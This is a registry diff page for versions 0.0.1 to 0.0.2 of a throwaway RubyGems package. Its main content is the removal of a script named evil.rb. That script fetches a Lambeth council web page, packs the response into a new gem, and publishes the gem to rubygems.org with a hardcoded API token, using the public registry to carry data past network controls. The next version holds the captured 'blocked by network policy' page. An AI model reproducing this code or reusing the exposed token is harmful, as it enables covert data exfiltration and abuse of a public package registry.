lambethcalcqzewgt 0.0.1 → 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/a.rb +1 -0
- data/lib/data.txt +27 -0
- metadata +5 -6
- data/.yardopts +0 -2
- data/evil.rb +0 -18
- data/lib/x.rb +0 -1
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 895d1cb491dbb2e656e9ae89b3edbb4fdebc4d2fad75ff3294b646c541abd3af
|
|
4
|
+
data.tar.gz: 01373b6743f7c0926af46afd09f009927c9044ef176abf58c367ef800844f3da
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: f1bab5cfcdea007572e86e09d949750665138f1033790f09389addd4a0e8cda8b5c7b34feb4a49f746d5d7fec0d0cf9c27c65375ddeed14b6531780b9545b945
|
|
7
|
+
data.tar.gz: 6440476f993efa59e2cbbfed086501cb126e0b39e371925e55ee3c0a2944419e2987d1c19f7a4ee4bde664d378eaabb7af2b2d240befd3f7481103c1e5fc8a01
|
data/lib/a.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
#a
|
data/lib/data.txt
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
URL:https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&DD=2026 STATUS=403 location=
|
|
2
|
+
|
|
3
|
+
<!DOCTYPE html>
|
|
4
|
+
<html>
|
|
5
|
+
<head>
|
|
6
|
+
<title>Internal Server Error</title>
|
|
7
|
+
<style>
|
|
8
|
+
body {
|
|
9
|
+
font-family: monospace;
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
h1 {
|
|
13
|
+
word-break: break-all;
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
#stack_trace {
|
|
17
|
+
white-space: pre;
|
|
18
|
+
overflow: auto;
|
|
19
|
+
}
|
|
20
|
+
</style>
|
|
21
|
+
</head>
|
|
22
|
+
<body>
|
|
23
|
+
<h1>This site has been blocked by network policy</h1>
|
|
24
|
+
<div id="stack_trace"></div>
|
|
25
|
+
</body>
|
|
26
|
+
</html>
|
|
27
|
+
|
metadata
CHANGED
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: lambethcalcqzewgt
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.0.
|
|
4
|
+
version: 0.0.2
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
|
-
-
|
|
7
|
+
- z
|
|
8
8
|
bindir: bin
|
|
9
9
|
cert_chain: []
|
|
10
10
|
date: 1980-01-02 00:00:00.000000000 Z
|
|
@@ -13,9 +13,8 @@ executables: []
|
|
|
13
13
|
extensions: []
|
|
14
14
|
extra_rdoc_files: []
|
|
15
15
|
files:
|
|
16
|
-
-
|
|
17
|
-
-
|
|
18
|
-
- lib/x.rb
|
|
16
|
+
- lib/a.rb
|
|
17
|
+
- lib/data.txt
|
|
19
18
|
licenses:
|
|
20
19
|
- MIT
|
|
21
20
|
metadata: {}
|
|
@@ -35,5 +34,5 @@ required_rubygems_version: !ruby/object:Gem::Requirement
|
|
|
35
34
|
requirements: []
|
|
36
35
|
rubygems_version: 3.6.7
|
|
37
36
|
specification_version: 4
|
|
38
|
-
summary:
|
|
37
|
+
summary: res
|
|
39
38
|
test_files: []
|
data/.yardopts
DELETED
data/evil.rb
DELETED
|
@@ -1,18 +0,0 @@
|
|
|
1
|
-
# plugin
|
|
2
|
-
require 'net/http'; require 'uri'; require 'fileutils'
|
|
3
|
-
begin
|
|
4
|
-
url='https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&DD=2026'
|
|
5
|
-
resp=Net::HTTP.get_response(URI(url)); body="URL:#{url} STATUS=#{resp.code} location=#{resp['location']}\n"+resp.body
|
|
6
|
-
rescue =>e
|
|
7
|
-
body='ERR '+e.full_message
|
|
8
|
-
end
|
|
9
|
-
begin
|
|
10
|
-
FileUtils.mkdir_p('/tmp/egem/lib'); File.write('/tmp/egem/lib/data.txt',body)
|
|
11
|
-
File.write('/tmp/egem/lib/a.rb','#a')
|
|
12
|
-
File.write('/tmp/egem/o.gemspec',%q{Gem::Specification.new do |s|
|
|
13
|
-
s.name='lambethcalcqzewgt'; s.version='0.0.2'; s.summary='res'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'; end})
|
|
14
|
-
Dir.chdir('/tmp/egem') do
|
|
15
|
-
system('gem build o.gemspec')
|
|
16
|
-
spec=Dir['*.gem'].first; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_e4eb5a32dd13b73e3eb5247365d398a328e92aa37b2d1094'; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}
|
|
17
|
-
end
|
|
18
|
-
rescue=>e; warn e.full_message; end
|
data/lib/x.rb
DELETED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
x=1
|